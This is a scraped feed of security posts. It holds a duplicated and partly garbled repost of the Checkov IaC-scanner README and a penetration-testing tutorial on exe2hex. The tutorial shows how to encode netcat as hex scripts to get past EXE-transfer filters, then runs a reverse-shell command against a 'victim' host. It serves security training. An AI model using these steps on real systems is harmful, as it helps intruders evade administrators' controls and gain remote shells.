Hacking on Medium
The Importance of the Network Effect in Cybersecurity

https://cdn-images-1.medium.com/max/880/1*QUTu2VqBwVMr4JtuRD5y3g.jpeg
The Network Effect is the positive feedback loop that occurs when a product or service becomes more valuable as more people use it. The…

Continue reading on Medium »

Hacking on Medium
Smokescreen Supply Chain Attack Targets Taiwan Financial Sector, A Deeper Look

https://cdn-images-1.medium.com/max/1600/0*jBKriPnb2DkBlshO
Operation Cache Panda: Zero-Day in Financial Software Exploited by China-Linked Threat Group

Continue reading on CyCraft »

KitPloit - PenTest Tools!
Checkov - Prevent Cloud Misconfigurations During Build-Time For Terraform, CloudFormation, Kubernetes, Serverless Framework And Other Infrastructure-As-Code-Languages

https://blogger.googleusercontent.com/img/a/AVvXsEi6bwtE3SrfgM0C7h3ZS1Xl-FboEDPOJMy_JzA9e8DxbsiEdRvKGuqW3eaLxO_Rm2OSJ7NNLnEc3aCbV1-jgORraytuI8MI6BCLXxnIEzKoLqoBw9ZY67N4oaQ49ZzAP7548dmq36B3n7o3hmo3by6s0PrrmYmsEOuJ_NbgyX1HOnbIsmic_ZWzxN9f Checkov is a static code analysis tool for infrastructure-as-code.

It scans cloud infrastructure provisioned using Terraform, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Dockerfile, Serverless or ARM Templates and detects securi ty and compliance misconfigurations using graph-based scanning.

Checkov also powers Bridgecrew, the developer-first platform that codifies and streamlines cloud security throughout the development lifecycle. Bridgecrew identifies, fixes, and prevents misconfigurations in cloud resources and infrastructure-as-code files. Features* Over 1000 built-in policies cover security and compliance best practices for AWS, Azure and Google Cloud.
* Scans Terraform, Terraform Plan, CloudFormation, AWS SAM, Kubernetes, Dockerfile, Serverless framework and ARM template files.
* Supports Context-awareness policies based on in-memory graph-based scanning.
* Supports Python format for attribute policies and YAML format for both attribute and composite policies.
* Detects AWS credentials in EC2 Userdata, Lambda environment variables and Terraform providers.
* Identifies secrets using regular expressions, keywords, and entropy based detection.
* Evaluates Terraform Provider settings to regulate the creation, management, and updates of IaaS, PaaS or SaaS managed through Terraform.
* Policies support evaluation of variables to their optional default value.
* Supports in-line suppression of accepted risks or false-positives to reduce recurring scan failures. Also supports global skip from using CLI.
* Output currently available as CLI, CycloneDX, JSON, JUnit XML and github markdown and link to remediation guides. ScreenshotsScheduled scan result in Jenkins https://blogger.googleusercontent.com/img/a/AVvXsEiRn8t91GMAI-LztazwimYkeXwS9RK33lZT6NPaATs5jdvaIklEGFFb5nEB9cWVhNOjzc_Y4D8RZZEOMppLPg_4FfGJfzRnUGHeQoMvWP6tZN6tEWkLznTeRY45IoJpitkSZjfDhYALp17NkANibV3pc1nCCe6npzOZT-4ow1lgL6_6qAtWXrdezQ71=w640-h324 Getting startedRequirements* Python >= 3.7 (Data classes are available for Python 3.7+)
* Terraform >= 0.12 Installationpip3 install checkovInstallation on Alpine: pip3 install --upgrade pip && pip3 install --upgrade setuptools
pip3 install checkovInstallation on Ubuntu 18.04 LTS:

Ubuntu 18.04 ships with Python 3.6. Install python 3.7 (from ppa repository) sudo apt update
sudo apt install software-properties-common
sudo add-apt-repository ppa:deadsnakes/ppa
sudo apt install python3.7
sudo apt install python3-pip
sudo python3.7 -m pip install -U checkov #to install or upgrade checkov)or using homebrew (MacOS only) brew install checkovor brew upgrade checkovEnabling bash autocompletesource <(register-python-argcompleteUpgradeif you installed checkov with pip3 pip3 install -U checkovConfigure an input folder or filecheckov --directory /user/path/to/iac/codeOr a specific file or files checkov --file /user/tf/example.tfOr checkov -f /user/cloudformation/example1.yml -f /user/cloudformation/example2.ymlOr a terraform plan file in json format terraform init
terraform plan -out tf.plan
terraform show -json tf.plan > tf.json
checkov -f tf.jsonNote: terraform showoutput file tf.jsonwill be a single line. For that reason all findings will be repo[...]

rted line number 0 by checkov check: CKV_AWS_21: "Ensure all data stored in the S3 bucket have versioning enabled"
FAILED for resource: aws_s3_bucket.customer
File: /tf/tf.json:0-0
Guide: https://docs.bridgecrew.io/docs/s3_16-enable-versioningIf you have installed jqyou can convert json file into multiple lines with the following command: terraform show -json tf.plan | jq '.' > tf.json Scan result would be much user friendly. checkov -f tf.json
Check: CKV_AWS_21: "Ensure all data stored in the S3 bucket have versioning enabled"
FAILED for resource: aws_s3_bucket.customer
File: /tf/tf1.json:224-268
Guide: https://docs.bridgecrew.io/docs/s3_16-enable-versioning

225 | "values": {
226 | "acceleration_status": "",
227 | "acl": "private",
228 | "arn": "arn:aws:s3:::mybucket", Alternatively, specify the repo root of the hcl files used to generate the plan file, using the --repo-root-for-plan-enrichmentflag, to enrich the output with the appropriate file path, line numbers, and codeblock of the resource(s). An added benefit is that check suppressions will be handled accordingly. checkov -f tf.json --repo-root-for-plan-enrichment /user/path/to/iac/codeScan result sample (CLI)Passed Checks: 1, Failed Checks: 1, Suppressed Checks: 0
Check: "Ensure all data stored in the S3 bucket is securely encrypted at rest"
/main.tf:
Passed for resource: aws_s3_bucket.template_bucket
Check: "Ensure all data stored in the S3 bucket is securely encrypted at rest"
/../regionStack/main.tf:
Failed for resource: aws_s3_bucket.sls_deployment_bucket_name Start using Checkov by reading the Getting Started page. Using Dockerdocker pull bridgecrew/checkov
docker run --tty --volume /user/tf:/tf bridgecrew/checkov --directory /tfNote: if you are using Python 3.6(Default version in Ubuntu 18.04) checkov will not work and it will fail with ModuleNotFoundError: No module named 'dataclasses'error message. In this case, you can use the docker version instead.

Note that there are certain cases where redirecting docker run --ttyoutput to a file - for example, if you want to save the Checkov JUnit output to a file - will cause extra control characters to be printed. This can break file parsing. If you encounter this, remove the --ttyflag. Running or skipping checksUsing command line flags you can specify to run only named checks (allow list) or run all checks except those listed (deny list).

List available checks: checkov --list Allow only 2 checks to run: checkov --directory . --check CKV_AWS_20,CKV_AWS_57Run all checks except 1 specified: checkov -d . --skip-check CKV_AWS_20Run all checks except checks with specified patterns: checkov -d . --skip-check CKV_AWS*For Kubernetes workloads, you can also use allow/deny namespaces. For example, do not report any results for the kube-system namespace: checkov -d . --skip-check kube-systemSuppressing/Ignoring a checkLike any static-analysis tool it is limited by its analysis scope. For example, if a resource is managed manually, or using subsequent configuration management tooling, suppression can be inserted as a simple code annotation. Suppression comment formatTo skip a check on a given Terraform definition block or CloudFormation resource, apply the following comment pattern inside it's scope: checkov:skip=<check_id:<suppression_comment* <check_idis one of the [available check scanners](docs/5.Policy Index/all.md)
* <suppression_commentis an optional suppression reason to be included in the output ExampleThe following comment skips the CKV_AWS_20check on the resource identified by foo-bucket, where th[...]

e scan checks if an AWS S3 bucket is private. In the example, the bucket is configured with public read access; Adding the suppress comment would skip the appropriate check instead of the check to fail. resource "aws_s3_bucket" "foo-bucket" { region = var.region #checkov:skip=CKV_AWS_20:The bucket is a public static content host bucket = local.bucket_name force_destroy = true acl = "public-read" } The output would now contain a SKIPPEDcheck result entry: resource "aws_s3_bucket" "foo-bucket" {
region = var.region
#checkov:skip=CKV_AWS_20:The bucket is a public static content host
bucket = local.bucket_name
force_destroy = true
acl = "public-read"
} To skip multiple checks, add each as a new line. ...
...
Check: "S3 Bucket has an ACL defined which allows public access."
SKIPPED for resource: aws_s3_bucket.foo-bucket
Suppress comment: The bucket is a public static content host
File: /example_skip_acl.tf:1-25

...To suppress checks in Kubernetes manifests, annotations are used with the following format: checkov.io/skip#: <check_id=<suppression_commentFor example:

Privilege Escalation :-O checkov.io/skip2: CKV_K8S_14 checkov.io/skip3: CKV_K8S_11=I have not set CPU limits as I want BestEffort QoS spec: containers: ...">#checkov:skip=CKV2_AWS_6
#checkov:skip=CKV_AWS_20:The bucket is a public static content host LoggingFor detailed logging to stdout set up the environment variable LOG_LEVELto DEBUG.

Default is LOG_LEVEL=WARNING. Skipping directoriesTo skip files or directories, use the argument --skip-path, which can be specified multiple times. This argument accepts regular expressions for paths relative to the current working directory. You can use it to skip entire directories and / or specific files.

By default, all directories named node_modules, .terraform, and .serverlesswill be skipped, in addition to any files or directories beginning with .. To cancel skipping directories beginning with .override IGNORE_HIDDEN_DIRECTORY_ENVenvironment variable export IGNORE_HIDDEN_DIRECTORY_ENV=falseYou can override the default set of directories to skip by setting the environment variable CKV_IGNORED_DIRECTORIES. Note that if you want to preserve this list and add to it, you must include these values. For example, CKV_IGNORED_DIRECTORIES=mynewdirwill skip only that directory, but not the others mentioned above. This variable is legacy functionality; we recommend using the --skip-fileflag. VSCODE ExtensionIf you want to use checkov's within vscode, give a try to the vscode extension available at vscode Configuration using a config fileCheckov can be configured using a YAML configuration file. By default, checkov looks for a .checkov.yamlor .checkov.ymlfile in the following places in order of precedence:

* Directory against which checkov is run. (--directory)
* Current working directory where checkov is called.
* User's home directory.

Attention: it is a best practice for checkov configuration file to be loaded from a trusted source composed by a verified identity, so that scanned files, check ids and loaded custom checks are as desired.

Users can also pass in the path to a config file via the command line. In this case, the other config files will be ignored. For example: apiVersion: v1
kind: Pod
metadata:
name: mypod
annotations:
checkov.io/skip1: CKV_K8S_20=I don't care about Privilege Escalation :-O
checkov.io/skip2: CKV_K8S_14
checkov.io/skip3: CKV_K8S_11=I have not set CPU limits as I want BestEffort QoS
spec:
containers:
...Users can also create a config file[...]

using the --create-configcommand, which takes the current command line args and writes them out to a given path. For example: checkov --config-file path/to/config.yamlWill create a config.yamlfile which looks like this: checkov --compact --directory test-dir --docker-image sample-image --dockerfile-path Dockerfile --download-external-modules True --external-checks-dir sample-dir --no-guide --quiet --repo-id bridgecrew/sample-repo --skip-check CKV_DOCKER_3,CKV_DOCKER_2 --skip-fixes --skip-framework dockerfile secrets --skip-suppressions --soft-fail --branch develop --check CKV_DOCKER_1 --create-config /Users/sample/config.ymlUsers can also use the --show-configflag to view all the args and settings and where they came from i.e. commandline, config file, environment variable or default. For example: branch: develop
check:
- CKV_DOCKER_1
compact: true
directory:
- test-dir
docker-image: sample-image
dockerfile-path: Dockerfile
download-external-modules: true
evaluate-variables: true
external-checks-dir:
- sample-dir
external-modules-download-path: .external_modules
framework:
- all
no-guide: true
output: cli
quiet: true
repo-id: bridgecrew/sample-repo
skip-check:
- CKV_DOCKER_3
- CKV_DOCKER_2
skip-fixes: true
skip-framework:
- dockerfile
- secrets
skip-suppressions: true
soft-fail: trueWill display: checkov --show-configContributingContribution is welcomed!

Start by reviewing the contribution guidelines. After that, take a look at a good first issue.

Looking to contribute new checks? Learn how to write a new check (AKA policy) here. Disclaimercheckovdoes not save, publish or share with anyone any identifiable customer information.
No identifiable customer information is used to query Bridgecrew's publicly accessible guides. checkovuses Bridgecrew's API to enrich the results with links to remediation guides. To skip this API call use the flag --no-guide. SupportBridgecrew builds and maintains Checkov to make policy-as-code simple and accessible.

Start with our Documentation for quick tutorials and examples.

If you need direct support you can contact us at info@bridgecrew.io. Download Checkov

Checkov - Prevent Cloud Misconfigurations During Build-Time For Terraform, CloudFormation, Kubernetes, Serverless Framework And Other Infrastructure-As-Code-Languages
http://www.kitploit.com/2022/03/checkov-prevent-cloud-misconfigurations.html

Checkov is a static code analysis (https://www.kitploit.com/search/label/Static%20Code%20Analysis) tool for infrastructure-as-code. It scans cloud infrastructure (https://www.kitploit.com/search/label/Infrastructure) provisioned using Terraform (https://terraform.io/), Terraform plan, Cloudformation (https://aws.amazon.com/cloudformation/), AWS SAM (https://aws.amazon.com/serverless/sam/), Kubernetes (https://kubernetes.io/), Dockerfile (https://www.docker.com/), Serverless (https://www.serverless.com/) or ARM Templates (https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) and detects securi ty and compliance misconfigurations (https://www.kitploit.com/search/label/Misconfigurations) using graph-based scanning. Checkov also powers Bridgecrew, the developer-first platform that codifies and streamlines cloud security throughout the development lifecycle. Bridgecrew identifies, fixes, and prevents misconfigurations in cloud resources and infrastructure-as-code files.
Features Over 1000 built-in policies (https://github.com/bridgecrewio/checkov/blob/master/docs/5.Policy%20Index/all.md) cover security and compliance best practices for AWS, Azure and Google Cloud. Scans Terraform, Terraform Plan, CloudFormation, AWS SAM, Kubernetes, Dockerfile, Serverless framework and ARM template files. Supports Context-awareness policies based on in-memory graph-based scanning. Supports Python format for attribute policies and YAML format for both attribute and composite policies. Detects AWS credentials (https://github.com/bridgecrewio/checkov/blob/master/docs/2.Basics/Scanning%20Credentials%20and%20Secrets.md) in EC2 Userdata, Lambda environment variables and Terraform providers. Identifies secrets (https://bridgecrew.io/blog/checkov-secrets-scanning-find-exposed-credentials-in-iac/) using regular expressions, keywords, and entropy based detection. Evaluates Terraform Provider (https://registry.terraform.io/browse/providers) settings to regulate the creation, management, and updates of IaaS, PaaS or SaaS managed through Terraform. Policies support evaluation of variables (https://github.com/bridgecrewio/checkov/blob/master/docs/2.Basics/Handling%20Variables.md) to their optional default value. Supports in-line suppression (https://github.com/bridgecrewio/checkov/blob/master/docs/2.Basics/Suppressing%20and%20Skipping%20Policies.md) of accepted risks or false-positives to reduce recurring scan failures. Also supports global skip from using CLI. Output (https://github.com/bridgecrewio/checkov/blob/master/docs/2.Basics/Reviewing%20Scan%20Results.md) currently available as CLI, CycloneDX (https://cyclonedx.org/), JSON, JUnit XML and github markdown and link to remediation guides (https://docs.bridgecrew.io/docs/aws-policy-index).
Screenshots Scheduled scan result in Jenkins

Check: CKV_AWS_21: "Ensure all data stored in the S3 bucket have versioning enabled"
FAILED for resource: aws_s3_bucket.customer
File: /tf/tf1.json:224-268
Guide: https://docs.bridgecrew.io/docs/s3_16-enable-versioning

225 | "values": {
226 | "acceleration_status": "",
227 | "acl": "private",
228 | "arn": "arn:aws:s3:::mybucket",
Alternatively, specify the repo root of the hcl files used to generate the plan file, using the --repo-root-for-plan-enrichment flag, to enrich the output with the appropriate file path, line numbers, and codeblock of the resource(s). An added benefit is that check suppressions will be handled accordingly. checkov -f tf.json --repo-root-for-plan-enrichment /user/path/to/iac/code Scan result sample (CLI) Passed Checks: 1, Failed Checks: 1, Suppressed Checks: 0
Check: "Ensure all data stored in the S3 bucket is securely encrypted at rest"
/main.tf:
Passed for resource: aws_s3_bucket.template_bucket
Check: "Ensure all data stored in the S3 bucket is securely encrypted at rest"
/../regionStack/main.tf:
Failed for resource: aws_s3_bucket.sls_deployment_bucket_name Start using Checkov by reading the Getting Started (https://github.com/bridgecrewio/checkov/blob/master/docs/1.Welcome/Quick%20Start.md) page. Using Docker docker pull bridgecrew/checkov
docker run --tty --volume /user/tf:/tf bridgecrew/checkov --directory /tf Note: if you are using Python 3.6(Default version in Ubuntu 18.04) checkov will not work and it will fail with ModuleNotFoundError: No module named 'dataclasses' error message. In this case, you can use the docker version instead. Note that there are certain cases where redirecting docker run --tty output to a file - for example, if you want to save the Checkov JUnit output to a file - will cause extra control characters to be printed. This can break file parsing. If you encounter this, remove the --tty flag. Running or skipping checks Using command line flags you can specify to run only named checks (allow list) or run all checks except those listed (deny list). List available checks: checkov --list Allow only 2 checks to run: checkov --directory . --check CKV_AWS_20,CKV_AWS_57 Run all checks except 1 specified: checkov -d . --skip-check CKV_AWS_20 Run all checks except checks with specified patterns: checkov -d . --skip-check CKV_AWS* For Kubernetes workloads, you can also use allow/deny namespaces. For example, do not report any results for the kube-system namespace: checkov -d . --skip-check kube-system Suppressing/Ignoring a check Like any static-analysis tool it is limited by its analysis scope. For example, if a resource is managed manually, or using subsequent configuration management tooling, suppression can be inserted as a simple code annotation. Suppression comment format To skip a check on a given Terraform definition block or CloudFormation resource, apply the following comment pattern inside it's scope: checkov:skip=: is one of the [available check scanners](docs/5.Policy Index/all.md) is an optional suppression reason to be included in the output Example The following comment skips the CKV_AWS_20 check on the resource identified by foo-bucket, where the scan checks if an AWS S3 bucket is private. In the example, the bucket is configured with public read access; Adding the suppress comment would skip the appropriate check instead of the check to fail. resource "aws_s3_bucket" "foo-bucket" { region = var.region #checkov:skip=CKV_AWS_20:The bucket is a public static content host bucket = local.bucket_name force_destroy = true acl = "public-read" } The output would now contain a SKIPPED check result entry: resource "aws_s3_bucket" "foo-bucket" {
region = var.region
#checkov:skip=CKV_AWS_20:The bucket is a public static content host
bucket = local.bucket_name
force_destroy = true

acl = "public-read"
}
To skip multiple checks, add each as a new line. ...
...
Check: "S3 Bucket has an ACL defined which allows public access."
SKIPPED for resource: aws_s3_bucket.foo-bucket
Suppress comment: The bucket is a public static content host
File: /example_skip_acl.tf:1-25

... To suppress checks in Kubernetes manifests, annotations are used with the following format: checkov.io/skip#: = For example: Privilege Escalation :-O checkov.io/skip2: CKV_K8S_14 checkov.io/skip3: CKV_K8S_11=I have not set CPU limits as I want BestEffort QoS spec: containers: ..."> #checkov:skip=CKV2_AWS_6
#checkov:skip=CKV_AWS_20:The bucket is a public static content host
Logging For detailed logging to stdout set up the environment variable LOG_LEVEL to DEBUG. Default is LOG_LEVEL=WARNING. Skipping directories To skip files or directories, use the argument --skip-path, which can be specified multiple times. This argument accepts regular expressions (https://www.kitploit.com/search/label/Regular%20Expressions) for paths relative to the current working directory. You can use it to skip entire directories and / or specific files. By default, all directories named node_modules, .terraform, and .serverless will be skipped, in addition to any files or directories beginning with .. To cancel skipping directories beginning with . override IGNORE_HIDDEN_DIRECTORY_ENV environment variable export IGNORE_HIDDEN_DIRECTORY_ENV=false You can override the default set of directories to skip by setting the environment variable CKV_IGNORED_DIRECTORIES. Note that if you want to preserve this list and add to it, you must include these values. For example, CKV_IGNORED_DIRECTORIES=mynewdir will skip only that directory, but not the others mentioned above. This variable is legacy functionality; we recommend using the --skip-file flag. VSCODE Extension If you want to use checkov's within vscode, give a try to the vscode extension available at vscode (https://marketplace.visualstudio.com/items?itemName=Bridgecrew.checkov) Configuration using a config file Checkov can be configured using a YAML configuration file. By default, checkov looks for a .checkov.yaml or .checkov.yml file in the following places in order of precedence: Directory against which checkov is run. (--directory) Current working directory where checkov is called. User's home directory. Attention: it is a best practice for checkov configuration file to be loaded from a trusted source composed by a verified identity, so that scanned files, check ids and loaded custom checks are as desired. Users can also pass in the path to a config file via the command line. In this case, the other config files will be ignored. For example: apiVersion: v1
kind: Pod
metadata:
name: mypod
annotations:
checkov.io/skip1: CKV_K8S_20=I don't care about Privilege Escalation :-O
checkov.io/skip2: CKV_K8S_14
checkov.io/skip3: CKV_K8S_11=I have not set CPU limits as I want BestEffort QoS
spec:
containers:
... Users can also create a config file using the --create-config command, which takes the current command line args and writes them out to a given path. For example: checkov --config-file path/to/config.yaml Will create a config.yaml file which looks like this: checkov --compact --directory test-dir --docker-image sample-image --dockerfile-path Dockerfile --download-external-modules True --external-checks-dir sample-dir --no-guide --quiet --repo-id bridgecrew/sample-repo --skip-check CKV_DOCKER_3,CKV_DOCKER_2 --skip-fixes --skip-framework dockerfile secrets --skip-suppressions --soft-fail --branch develop --check CKV_DOCKER_1 --create-config /Users/sample/config.yml Users can also use the --show-config flag to view all the args and settings and where they came from i.e. commandline, config file, environment variable or default. For example: branch: develop
check:
- CKV_DOCKER_1
compact: true
directory:
- test-dir

docker-image: sample-image
dockerfile-path: Dockerfile
download-external-modules: true
evaluate-variables: true
external-checks-dir:
- sample-dir
external-modules-download-path: .external_modules
framework:
- all
no-guide: true
output: cli
quiet: true
repo-id: bridgecrew/sample-repo
skip-check:
- CKV_DOCKER_3
- CKV_DOCKER_2
skip-fixes: true
skip-framework:
- dockerfile
- secrets
skip-suppressions: true
soft-fail: true Will display: checkov --show-config Contributing Contribution is welcomed! Start by reviewing the contribution guidelines (https://github.com/bridgecrewio/checkov/blob/master/CONTRIBUTING.md). After that, take a look at a good first issue (https://github.com/bridgecrewio/checkov/issues?q=is%3Aissue+is%3Aopen+label%3A%22good+first+issue%22). Looking to contribute new checks? Learn how to write a new check (AKA policy) here (https://github.com/bridgecrewio/checkov/blob/master/docs/6.Contribution/Contribution%20Overview.md). Disclaimer checkov does not save, publish or share with anyone any identifiable customer information.
No identifiable customer information is used to query Bridgecrew's publicly accessible guides. checkov uses Bridgecrew's API to enrich the results with links to remediation guides. To skip this API call use the flag --no-guide. Support Bridgecrew (https://bridgecrew.io/?utm_source=github&utm_medium=organic_oss&utm_campaign=checkov) builds and maintains Checkov to make policy-as-code simple and accessible. Start with our Documentation (https://bridgecrewio.github.io/checkov/) for quick tutorials and examples. If you need direct support you can contact us at info@bridgecrew.io (mailto:info@bridgecrew.io).

Download Checkov (https://github.com/bridgecrewio/checkov)

Hacking Articles|Raj Chandel's Blog
File Transfer Filter Bypass: Exe2Hex

IntroductionExe2hex is a tool developed by g0tmilk which can be found here. The tool transcribes EXE into a series of hexadecimal strings which can be restored into the original EXE file by using DEBUG.exe or Powershell. This script can then be executed at the victim machine to construct an exe again and execute it. This is helpful in advanced pentest scenarios where the system administrators have blocked transfer/download/upload/e-mail of EXE files. Pentesters can use this tool to bypass such filters. In this article we demonstrate 4 such methods.<o:p Table of content<o:p· Background<o:p· Exe2hex CMD script (PoSH method)<o:p

· Exe2hex URL encoded CMD script (PoSH method)<o:p

· Exe2hex BAT script (DEBUG.exe method)<o:p

· Exe2hex STDIN to CMD Script (PoSH method)<o:p

· Exe2hex TXT file (DEBUG and PoSH method)<o:p

· Conclusion<o:p Background<o:pDEBUG.exe is a by default available executable in Windows that helps a user troubleshoot programs. It also has a feature where it can restore a series of hexadecimal strings into executable file. The same can be achieved by Powershell. Methodology is very simple:<o:p

Step 1: Choose an EXE<o:p

Step 2: Compress it using UPX <o:p

Step 3: Use exe2hex to convert it into a file containing hexadecimal strings<o:p

Step 4: Transfer the file to victim system<o:p

Step 5: Restore the file back to exe and execute<o:p

Let’s start by compressing an exe file. We will be using a tool called UPX. <o:p https://blogger.googleusercontent.com/img/a/AVvXsEjyh4M9N3uVg0vhDlelzlEEiWQ1otcE_HfENLeOd_TC50XHz8TFTSdpwDVGRbMnChCEiyjzIAsgp2SUcx4zzkAZVDI8seVx4TblUmktY61EuAQhszOme1A00R_5Z-3tnid-S5APFOwjljnGZY3tF6g6i4bRYG0CepIjfVSRFwQ0kla3TZf_RPT6VKmzsw=s16000 As you can see there are many options to compress a file. We will be using -9 filter which provides 50% compression on average.<o:p upx -h<o:pcp /usr/share/windows-resources/binaries/nc.exe .<o:pls -lah nc.exe<o:pupx -9 nc.exe<o:pls -lah nc.exe<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEj8S7vY0XHsI5sbXQoS-3_0uSBIOhRjcQYVfXwRSTH-Ebdo1sHySpL_nd7DShEmBFBX4eTL9_NaTqjnEonBmDb5pgwyHtKl0OWkLBk0oTvjY5_7xUbB3onetSOxzuyAnG2-x6sMeWj3klUY4FaQ-7Zu2Usk6_NKdxPXT_gq4Lh2N41dQ1fLs0j-NcYcGw=s16000 Note: You can achieve the same thing by using -cc filter with exe2hex tool.<o:p Exe2hex CMD script (PoSH method)<o:pNow that our exe has been compressed, we can use exe2hex to convert it into a cmd file. This cmd file has multiple hexadecimal strings as you can see below. A parameter P has been created which appends these converted hex strings into a temporary file called “nc.hex”<o:p exe2hex -x nc.exe -p nc.cmd<o:phead nc.cmd<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEgmh5Ms1cde5ErdNTQmtTvxk87lNaGasSsBmTA0oZIvrs-YUvHh_6QFjgS7XNdt8ZVObcyBK1062LMik9AJhxPUra2xwXQQaJixW2-i5WXiQwN3N7Imkd6wlVnp686HTCyp-oO4KpJW7dOXYtVG3v09xSCXIUrt4j2c4PmTyD8zXY6tZetY2h-cfqOjew=s16000 At the end of the file, you can see a powershell command which is restoring the hex strings back into exe file and removing nc.hex<o:p tail -n 3 nc.cmd<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEg5w04aOLUNCrY9bm5O7OZjBdsGDnKqf73mA5il-kP4VnDecdRC9TR94-_eX_ndf0MjD214ELPt-HuV94UZXMWQPdvghzxbpux8g5T8k01wMf5tuvLSzLfFgFF0SK2rf5vqvY68lfzi7OfBHnoHm6v785pT3NdY3GfuvurHy1ftAxQEHJgg-oDJtsrwCQ=s16000 Exe2hex URL encoded CMD script (PoSH method)<o:pWhat we saw above can be repeated with a bonus. The same script can also be URL encoded with the -e option.<o:p exe2hex -x nc.exe -e -p nc.cmd<o:phead -n 5 nc.cmd<o:p https://blogger.googleusercontent[...]

.com/img/a/AVvXsEirKp_eUg1_EdU2jI7ZdUueWzeijFbXeHdc66AMGCP3zPRXj0rCLgarQLpTwTPQM5AXbEDzXCDeMU8h84aHWvYa11kXgckiMXYMqEQ9xQsLHhPuv39rHG0XElzZLfbMRl8HPkxnUYHwCgDk2WxMXQv2zqSmG7MB3LgVz76BeiFn1JBZdDytZ2iPmIU8vQ=s16000 Now, we can transfer this CMD file to the victim system and execute it using command prompt. As you may observe after the execution has finished, an nc.exe file is generated at the compressed size. @echo off<o:pnc.cmd<o:pnc.exe 192.168.78.142 4444 –e cmd<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEgz6u_Kzt8wfYCJx4M4e-qYC9m7EpQE6-vCeV1gv2UiHW47svkDe-B17V6xfSHF5ZQblVUFRZoj8-HbExqI9BMu5PVWvttd2qrxrfh0YdgUCxMZMBy0-NALgCg-epERi3xs10oM9dvA_v6PVOCFMZ0ack8WrpRgXIE_sdUKOG_7Fx_sdbi-T6q45YQXVw=s16000 Exe2hex BAT script (DEBUG.exe method)<o:pSo far we have seen how powershell can be used to restore hex into exe file. In the same way DEBUG.exe file can be used. Exe2hex can generate a bat file like so:<o:p exe2hex -x nc.exe -b nc.bat<o:phead -n 5 nc.bat<o:ptail -n 7 nc.bat<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhGjQjuRL9f-Rs5v4G4jIuAVVZt7w8B11CWNmB7ZU9LVjStGaLlCILtTjM8UqrGAd1K2gMKtYpuPV5Ck19bH7F1LgCEfioib9yURj3q6fFLittSaIOlszr04o4EmMNM29Wbz3Uzu8s5iQU8t8f_3Svr7yqVvrs_CkdXi8DwjLjt-ASp1T4GzZLWhv2xsw=s16000 After that, you can run the bat script on windows and it will create an exe file. If it throws you an error, you need to add DEBUG.exe’s path in environment variables. As you can see, nc.exe has become an executable now.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEg3jEpnbR8iQMqvTHP2YvcNIKLTLKzfyux-MXC-nyUn9NKLKfRlU11xvpA6-UIpjLiaPcPYe7N_RjANxeqIAn008rgWkGU-bDl6K9iLJuTbhQDs_07HLQZmHp5o4y0IDFkPrQI3vW3zPKuf81k8fPopxZ7eS7pq-Ez2nZd8gdUxwsQbJ2MNaBuXHrEa4g=s16000 Exe2hex STDIN to CMD Script (PoSH method)<o:pThe tool can also take an input from STDIN. This could be useful in scenarios where an executable is available on the internet and it needs to be downloaded using tools such as curl/wget and filters are in place to block that.<o:p cat nc.exe | exe2hex -s -b nc.bat -p nc.cmd<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEiGsmb3n3Sy0HqS45wl9NNiw-009VA3w4j1heDH4voVX7XScfdp0paOpRDx4jScmaL3g-u_4W5coNqxE9oNloqC6THaxUdETRNaH3DXNiLcukL57qpLX4rzv_As_pFtDTdLQkyXoeKdEyRkhILQ-GaPHWKuBuyebybjOHbJpRy6XNooH_uNyzK__siQWA=s16000 The -s filter is responsible for reading from STDIN. The cmd file generated with this option looks a bit different as the file generated has the name “binary.hex” and the final exe file as “binary.exe”<o:p https://blogger.googleusercontent.com/img/a/AVvXsEiltN0EU2kj3y4WJ8GApg7jJgvXgTJM9RJNw6OYRNvaOAx1J0y-v6QzsepGipaFxdY_lrz6XgJdOZyUNhBZGpU6Qw6H0SNiVLSl-O3DBieGAKflmo1VmkX-xNqCmT4TuKxSJK6lir4w2Km_dbWK1vscNldVxNMfVUwoT82diSxuCX6mYlmxopnopVMoXw=s16000 It can be run now!<o:p https://blogger.googleusercontent.com/img/a/AVvXsEiY6NFaIZBlAqu09EnH55omoNuMQ62nY0Ga4AP94MMdLoYN2yU3Jvr3scJXKocQJrf5bgX46XVymEP-mQab3_vXGvICMo-6OArva48mZ27e4wcbHAkz1mu9C5o03IQ-KnH55_yCldjEXfXDimMxYXfC1rtpVTdJK7KRRcvDmKVwGFG3zY6U85M2wutywA=s16000 Exe2hex TXT file (DEBUG and PoSH method)<o:pWe saved the best for last. The tool can also convert EXE files in hexadecimal strings txt files. This is highly useful for situations where advanced filters are in place.<o:p exe2hex -x nc.exe -b nc.txt<o:phead -n 5 nc.txt<o:pexe2hex -x nc.exe -p nc.txt<o:phead -n 5 nc.txt<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEgesKIBgliot6TTl5-t5_Vla-ElY9uuxMyxmjm8Xk1EC2rLQkkZFddzzJUo2R0ef6I2NtP31jUixo3BZSj3IpiPGtXKdd6OxpOYuoBisRYcgFAHvOABp7o8Xx31iAmuxn_eEvRSKwi7LMbSjorKFXpcpjUiIO6jmaYvO_LPhT-jc6oZ0ql69EtY6a8JRQ=s16000 One other filter is the -l filter that specifies the number of bytes in each line.<o:p exe2hex -x nc.exe -l 10 -p nc.txt<o:phead -n 5 nc.txt<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEiQy8UGd974YgebtPCN7_gdfftDvj_18y99ntvDGh4aXTb[...]

